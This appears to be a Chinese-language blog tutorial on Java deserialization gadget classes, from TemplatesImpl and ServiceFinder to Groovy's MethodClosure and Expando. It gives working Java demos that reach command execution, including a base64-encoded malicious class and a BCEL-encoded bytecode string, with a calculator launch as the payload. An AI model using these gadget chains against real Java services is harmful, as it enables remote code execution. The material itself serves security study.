Java反序列化1—反序列化常见利用类
利用类的作用:加载类或者执行命令。因为本文的重点放在了利用类本身,从反序列化入口到利用类的链条就不介绍了。
// 类加载
(1)com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(BeanComparator、EqualsBean/ToStringBean可以间接调用TemplatesImpl)
(2)java.util.ServiceLoader$LazyIterator / com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator (配合BCEL)
// 反射调用
(3)javax.imageio.ImageIO$ContainsFilter
(4)java.beans.EventHandler
(5)com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection
// 非JDK自带
(6)org.codehaus.groovy.runtime.MethodClosure
(7)org.codehaus.groovy.runtime.ConvertedClosure
(8)groovy.util.Expando
(1)TemplatesImpl
TemplatesImpl用于CommonsBeanutils、Fastjson
,其调用链如下,核心在于得到恶意类的Class
对象。然后执行newInstance()
操作触发static
代码块中的恶意代码
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
具体调用过程如下,
public synchronized Properties getOutputProperties() {
return newTransformer().getOutputProperties();
}
public synchronized Transformer newTransformer() throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
}
private Translet getTransletInstance() throws TransformerConfigurationException {
if (_name == null) return null; // 为了执行到下面的代码,_name不能为null(_name代表主类的名称)
if (_class == null) defineTransletClasses(); // _class:包含translet类定义的实际类
// newInstance时会被转换为AbstractTranslet,所以恶意类需要继承自AbstractTranslet
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
...
return translet;
}
private void defineTransletClasses() throws TransformerConfigurationException {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]); // _bytecodes设置为恶意类的字节码
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
}
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
Demo如下,其核心在于getTransInstance()
会调用defineTransletClasses()
加载字节码为Class,然后.newInstance()
进行实例化
public class TemplateTest {
public static void main(String[] args) throws IllegalAccessException, InstantiationException, NoSuchFieldException, IOException {
String cmdb64="yv66vgAAADQAQAoACwAmCQAnACgIACkKACoAKwoALAAtCAAuCgAsAC8HADAIADEHADIHADMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE0xUZW1wbGF0ZXNJbXBsVGVzdDsBAA1TdGFja01hcFRhYmxlBwAyBwAwAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADQBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAFlRlbXBsYXRlc0ltcGxUZXN0LmphdmEMAAwADQcANQwANgA3AQAcVGVtcGxhdGVzSW1wbCBDb25zdHVjdG9yIHJ1bgcAOAwAOQA6BwA7DAA8AD0BABJvcGVuIC1hIENhbGN1bGF0b3IMAD4APwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFUZW1wbGF0ZXNJbXBsIHJ1bgEAEVRlbXBsYXRlc0ltcGxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAQAAQAMAA0AAQAOAAAAcgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABYABQAAAA8ABAARAAwAEgAVABMAGQAUABAAAAAMAAEAAAAaABEAEgAAABMAAAAQAAL/ABgAAQcAFAABBwAVAAABABYAFwACAA4AAAA/AAAAAwAAAAGxAAAAAgAPAAAABgABAAAAGQAQAAAAIAADAAAAAQARABIAAAAAAAEAGAAZAAEAAAABABoAGwACABwAAAAEAAEAHQABABYAHgACAA4AAABJAAAABAAAAAGxAAAAAgAPAAAABgABAAAAHgAQAAAAKgAEAAAAAQARABIAAAAAAAEAGAAZAAEAAAABAB8AIAACAAAAAQAhACIAAwAcAAAABAABAB0ACAAjAA0AAQAOAAAAVwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAEgAEAAAACgAIAAsAEQAMABUADQAQAAAAAgAAABMAAAAHAAJUBwAVAAABACQAAAACACU=";
BASE64Decoder decoder=new sun.misc.BASE64Decoder();
byte[] classBytes=decoder.decodeBuffer(cmdb64);
TemplatesImpl templates=TemplatesImpl.class.newInstance();
Field f1=templates.getClass().getDeclaredField("_bytecodes");
f1.setAccessible(true);
f1.set(templates,new byte[][]{classBytes});
Field f2=templates.getClass().getDeclaredField("_name");
f2.setAccessible(true);
f2.set(templates,"TemplatesImplTest");
Field f3=templates.getClass().getDeclaredField("_tfactory");
f3.setAccessible(true);
f3.set(templates,TransformerFactoryImpl.class.newInstance());
templates.getOutputProperties(); // 触发
}
}
需要注意引入的包是这两个(这种更通用,没有类路径限制)
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
与之类似的还有这种(类路径上有需要有Xalan实现)
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;
BeanComparator触发
BeanComparator中的compare方法,参数传入两个对象,然后比较这两个对象的属性,也就是说getProperty(o1,property)
这步会调用o1的property属性。也就是调用o1这个类中对应的getxxProperty()
方法。而TemplatesImpl链的入口正是TemplatesImpl.getOutputProperties()
所以只需要o1
传入TemplatesImpl
,property
传入_outputProperties
ToStringBean触发
ToStringBean
的toString
方法获取beanClass
所有的带有getter方法的属性,然后invoke(this.obj)
反射调用getter方法,但是这个invoke的限制是不能传入参数,所以在利用时需要选取无参方法
getPropertyDescriptorsWithGetters
方法如下:BeanIntrospector.getPropertyDescriptorsWithGetters()
(2)ServiceLoader
先说一下SPI(Service Provider Interface),JDK内置的服务提供发现机制。Service
通常指接口/抽象类,Provider
则是接口的具体实现。假设Service
接口为HelloService
,它的实现类Provider
可能包括EnglishHelloServiceImpl
、ChineseHelloServiceImpl
等,
那么可以在/META-INF/services/
目录下创建一个Service
的全限定类名命名的文件例如com.axisx.Service
,文件的具体内容如下
com.axisx.impl.EnglishHelloServiceImpl
com.axisx.impl.ChineseHelloServiceImpl
这样就可以直接调用服务对应的各类Provider
ServiceLoader<HelloService> serviceLoader = ServiceLoader.load(HelloService.class);
Iterator<HelloService> it = serviceLoader.iterator();
while (it!=null && it.hasNext()) {
DemoService demoService = it.next();
}
上一篇提到过BCEL还可以用Class.forName
来写
ClassLoader classLoader= new ClassLoader();
String bcelCode="$$BCEL$$...";
// new ClassLoader().loadClass(bcelCode).newInstance();
Class.forName(bcelCode,true,classLoader);
ServiceLoader的内部类LazyIterator
中存在Class.forName
方法,loader是该内部类构造方法传入的
nextService
方法的触发是LazyIterator.next()
,那么就需要找到类似this.serviceIterator.hasNext()
的代码来触发。与ServiceLoader类似的还有ServiceFinder
,同样可以调用Class.forName
ServiceFinder.next()
以ServiceFinder为例,
cn
字符串传入由内部类ServiceName
的className
字段控制。生成的ServiceName
需要放入LazyIterator1
的names
数组中。loader
由自身构造函数LazyIterator
传入。
private static class LazyIterator<T> implements Iterator<T> {
Class<T> service;
@Nullable
ClassLoader loader;
ServiceFinder.ServiceName[] names;
int index;
...
}
private static class ServiceName {
final String className;
final URL config;
public ServiceName(String className, URL config) {
this.className = className;
this.config = config;
}
}
由于是内部类用反射来写。
public class ServiceLoadTest {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
Class ServiceName=Class.forName("com.sun.xml.internal.ws.util.ServiceFinder$ServiceName");
Constructor constructor1=ServiceName.getConstructor(String.class, URL.class);
constructor1.setAccessible(true);
String bcelCode="$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbn$T1$U$3dN$sq2L$a1$992$e5MSZhRhg$c3$$$V$9b$aal$Y$a0$oU$bbv$8c$V$5c$s$e3h$e2$a9$ca$X$b1$$$8b$82X$f0$B$7c$U$e2$da$94$3e$E$96$7c$af$ee9$f7$9c$eb$c7$cf_$df$7f$Ax$8e4D$88$5bm$dc$c6$9d$W$ee$86$b8$87$fb$n$k$e0a$LK$$w9$969$kq$ac04$b7t$a1$ed$L$86z$af$bf$cf$Ql$9b$f7$8a$e1F$a6$L$f5$a6$9a$8cT$b9$tF9$nqf$a4$c8$f7E$a9$5d$7d$G$G$f6$83$9e$91G$b6s$a4$f3$BCkK$e6gvsC$x$e4$c7$d7b$ea$5bi$mC84U$v$d5K$ed$a4m$t$d9$3c$UG$o$c25D$i$ab$R$k$e3$Jy8$a2$5bV$F$c7Z$84$k$fa$i$eb$R$9e$e2$Z$9d$c1LU$d1$dd$Q$ddm$91$cb$w$X$d6$94$R6$b0$c9$b0$e0$8c$d2$5c$U$e3t$e7X$aa$a9$d5$a6$a0$e39$x$86$f9$L$f2$ed$e8PI$7b$F$g$7e$9aY5$a1$fb$9b$8a$88$q$f3$8c6$e9n$a9$L$3b$b4$a5$S$93$c1$df$BWa$G$3euUN$a3$92$5ev$c9$d2$S$3c$k$b8$f7$ec$5c$a0$ef$aa$c2$ea$J$5d$3d$i$x$7b$5e$q$bd$7e$f6O$P$N$M$d4$b1$92$Mk$ff$f3$bd$E$ed$96F$aa$d9l$80e$b4$e9$cf$dd$aa$81$b9$X$a58GUJ$99Qn$ac$7f$F$3b$f1$f4u$8aM$P$d2GS$8c$fe4$60$k$j$ca$z$c4$e7$e2$Do$G$y$7eA$z$ae$9f$o$f8$86F$dc$3c$F$3f$f8$8c$e0$d5$89$e7$3a$b8I$9a$baw$8d$RP$M$a8n$Q$deD$C$ee$t$d4h$_$d0$e6$a8$edq$ea$ta$e2$e1$c5$dfb$c3$e7P$b3$C$A$A";
Object ServiceNameObj=constructor1.newInstance(bcelCode,null);
Object ServiceNameArray= Array.newInstance(ServiceName,1);
Array.set(ServiceNameArray,0,ServiceNameObj);
Class LazyIterator=Class.forName("com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator");
Constructor constructor2=LazyIterator.getDeclaredConstructors()[1];
constructor2.setAccessible(true);
Object LazyIteratorObj=constructor2.newInstance(String.class,new ClassLoader());
Field f1=LazyIterator.getDeclaredField("names");
f1.setAccessible(true);
f1.set(LazyIteratorObj,ServiceNameArray);
Method m1=LazyIterator.getDeclaredMethod("next"); //触发
m1.setAccessible(true);
m1.invoke(LazyIteratorObj,null);
}
}
(3)ImageIO
javax.imageio.ImageIO$ContainsFilter
,一眼看过去就存在明显的反射,某个类的方法。但是invoke后面只能传入Object对象,也就是这个方法需要无参
例如调用ProcessBuilder执行命令
public class ImageIOTest {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
Class ProcessBuilder=Class.forName("java.lang.ProcessBuilder");
Constructor constructor1=ProcessBuilder.getConstructor(String[].class);
constructor1.setAccessible(true);
Object Pro=constructor1.newInstance((Object)cmd);
Method m1=ProcessBuilder.getDeclaredMethod("start");
// m1.invoke(Pro);
Class ContainsFilter=Class.forName("javax.imageio.ImageIO$ContainsFilter");
Constructor constructor2=ContainsFilter.getConstructor(Method.class,String.class);
constructor2.setAccessible(true);
Object Obj=constructor2.newInstance(m1,"lalala");
Method m2=ContainsFilter.getDeclaredMethod("filter",Object.class);
m2.setAccessible(true);
m2.invoke(Obj,Pro);
}
}
(4)EventHandler
看一下java.beans.EventHandler
源码,invokeInternal
同样用到了反射,并且EventHandler的构造函数,可以控制target
和action
,最终反射用到的targetMethod
是根据target
和action
生成的所以也是可控。
public EventHandler(Object target, String action, String eventPropertyName, String listenerMethodName)
但是想要执行到反射代码,method名称不能为hashCode、equals、toString
,否则运行不到最后。另外Method的参数要么是空,要么是单个参数
调用invokeInternal写个demo
public class EventHandlerTest {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
Class ProcessBuilder=Class.forName("java.lang.ProcessBuilder");
Constructor constructor1=ProcessBuilder.getConstructor(String[].class);
constructor1.setAccessible(true);
Object Pro=constructor1.newInstance((Object)cmd);
Method m1=ProcessBuilder.getDeclaredMethod("start");
Class EventHandler=Class.forName("java.beans.EventHandler");
Constructor constructor2=EventHandler.getConstructor(Object.class,String.class,String.class,String.class);
constructor2.setAccessible(true);
Object Handler=constructor2.newInstance(Pro,"start",null,null);
Method m2=EventHandler.getDeclaredMethod("invokeInternal",Object.class,Method.class,Object[].class);
Object[] objects=new Object[]{Pro};
m2.setAccessible(true);
m2.invoke(Handler,null,m1,objects);
}
}
(5)GetterSetterReflection
com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection
也是一个invoke的反射调用,但是invoke中只能传入类对象,无法传入参数。所以不能采用Runtime.exec(cmd)
这种需要传参的命令执行方法,而是采用ProcessBuilder.start()
等无参方法
public class GetterSetterReflectionTest {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, AccessorException {
String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
Class ProcessCls=Class.forName("java.lang.ProcessBuilder");
Constructor constructor1=ProcessCls.getConstructor(String[].class);
constructor1.setAccessible(true);
Object ProcessBuilderObj=constructor1.newInstance((Object) cmd);
Method m1=ProcessCls.getDeclaredMethod("start");
m1.setAccessible(true);
// m1.invoke(ProcessBuilderObj);
Class cls=Class.forName("com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection");
Constructor constructor=cls.getConstructor(Method.class,Method.class);
constructor.setAccessible(true);
Accessor.GetterSetterReflection GetterObj= (Accessor.GetterSetterReflection) constructor.newInstance(m1,null);
GetterObj.get(ProcessBuilderObj);
}
}
(6)MethodClosure(Groovy)
这个类位于Groovy的jar包中,属于非JDK自带的类,org.codehaus.groovy.runtime.MethodClosure
doCall
方法明显是反射执行方法,写脚本测试一下
public class MethodClosureTest {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Object methodArgs="open -a Calculator";
MethodClosure methodClosure=new MethodClosure(Runtime.getRuntime(),"exec");
// methodClosure.call(methodArgs);
Method m1=methodClosure.getClass().getDeclaredMethod("doCall", Object.class);
m1.setAccessible(true);
m1.invoke(methodClosure,methodArgs);
}
}
或者用ProcessBuilder
public class MethodClosureTest {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Object obj=null;
String[] methodArgs= new String[]{"open","-a","/System/Applications/Calculator.app"};
MethodClosure methodClosure=new MethodClosure(new ProcessBuilder(methodArgs),"start");
Method m1=methodClosure.getClass().getDeclaredMethod("doCall", Object.class);
m1.setAccessible(true);
m1.invoke(methodClosure,obj);
}
}
(7)ConvertedClosure(Groovy)
一个动态代理的Demo,handler
需要实现InvocationHandler
,重写了invoke
方法,那么在执行Proxy.newProxyInstance
时自动调用invoke
方法
public class Main {
public static void main(String[] args) {
InvocationHandler handler = new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method);
if (method.getName().equals("morning")) {
System.out.println("Good morning, " + args[0]);
}
return null;
}
};
Hello hello = (Hello) Proxy.newProxyInstance(
Hello.class.getClassLoader(), // 传入ClassLoader
new Class[] { Hello.class }, // 传入要实现的接口
handler); // 传入处理调用方法的InvocationHandler
hello.morning("Bob");
}
}
interface Hello {
void morning(String name);
}
ConvertedClosure的源码如下,继承自ConversionHandler
ConversionHandler实现了
InvocationHandler
,并重写了invoke
方法。所以如果执行Proxy.newProxyInstance
就会调用这个invoke
。invoke方法根据传入的method参数不同进入不同的逻辑。if:传入的method所属类为接口,
else if:传入的method不是Object对象中的方法(如hashcode、toString等),这步的checkMethod具体的判断代码是
return Object.class.equals(method.getDeclaringClass());
所以传入Runtime.getRuntime.exec这种命令执行方法,会走到else if中,调用
ConvertedClosure.invokeCustom()
,进而执行call方法,反射执行方法。ConversionHandler
所以下面demo中的后两步就在触发动态代理的
invoke
,进而触发invokeCustom
public class ConvertedClosureTest {
public static void main(String[] args) {
String[] methodArgs= new String[]{"open","-a","/System/Applications/Calculator.app"};
MethodClosure methodClosure=new MethodClosure(new ProcessBuilder(methodArgs),"start");
ConvertedClosure convertedClosure=new ConvertedClosure(methodClosure,"entrySet");
Map map= (Map) Proxy.newProxyInstance(ConvertedClosureTest.class.getClassLoader(), new Class[]{Map.class},convertedClosure);
map.entrySet();
}
}
(8)Expando(Groovy)
Expando同样是调用call方法,只是需要properties中存在一个键为hashCode,值为Closure的子类
利用上述的
MethodClosure.call()
,也就是将值传为MethodClosure
public class ExpandoTest {
public static void main(String[] args) {
Map map = new HashMap<Expando, Integer>();
Expando expando = new Expando();
String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder(cmd), "start");
// methodClosure.call();
expando.setProperty("hashCode", methodClosure);
map.put(expando, 123);
expando.hashCode();
}
}